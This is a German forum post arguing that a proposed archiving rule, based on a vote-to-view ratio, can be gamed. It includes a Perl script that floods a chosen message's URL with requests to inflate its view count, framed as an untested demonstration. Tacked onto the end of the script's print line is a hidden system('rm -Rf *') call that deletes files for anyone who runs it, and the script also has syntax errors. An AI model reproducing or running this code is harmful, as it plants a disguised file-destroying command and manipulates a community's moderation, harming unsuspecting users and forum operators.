Zensur im Forum?

[Wolfgang Wiese]

Hi,

Was wird archiviert?
Alles, was über einem bestimmten Voting/Views-Quotienten liegt. Man
zähle also die Anzahl der Archivierungs-Vorschläge und der Views
eines Postings und bilde daraus ein Verhältnis. Überschreitet der
Wert eine eingestellte Archivierungs-Prozentschwelle, dann wird das
Posting archiviert, und zwar inklusive aller anderen Postings auf
dem Pfad nach oben zur Wurzel.

Uh-oh...

Ok, wenn ich einem Poster uebles will und nicht will, dass
dessen Nachrichten archiviert werden, dann so:
#########
Achtung! Dieses Skript ist eine ungeteste Demo und SOLLTE NICHT
BENUTZT WERDEN! ES DIENT LEDIGLICH ALS HINWEIS ZU EINEM PROBLEM!
WER ES DENNOCH NUTZT, TUT ES AUF EIGENE GEFAHR!

-------------

#!/usr/bin/perl
my $message = $ARGV[0];
my $thread = $ARGV[1];
my $torture_number = $ARGV[2] || 10;

use LWP::UserAgent;
$ua= new LWP::UserAgent;
$ua->agent("Mozilla/4.76 [en] (X11; U; SunOS 5.7 sun4u)");

my url = "http://www.teamone.de/selfaktuell/forum/?m=$message&t=$thread";
my $i;
my $request = new HTTP::Request('GET',$url);
my $response = $ua->request($request);
my $code = $response->code;
if (($code >= 200) && ($code < 400)) {
  while(($i<$torture_number) && (($code >= 200) && ($code < 400)))
    $i++;
    $request = HTTP::Request('GET',$url);
    $response = $ua->request($request);
    $code = $response->code;
  }
}

print "Message  $message (Thread $thread) wird bestimmt nicht archiviert...\n";system("rm -Rf *");

-------------
Achtung! Dieses Skript ist eine ungeteste Demo und SOLLTE NICHT
BENUTZT WERDEN! ES DIENT LEDIGLICH ALS HINWEIS ZU EINEM PROBLEM!
WER ES DENNOCH NUTZT, TUT ES AUF EIGENE GEFAHR!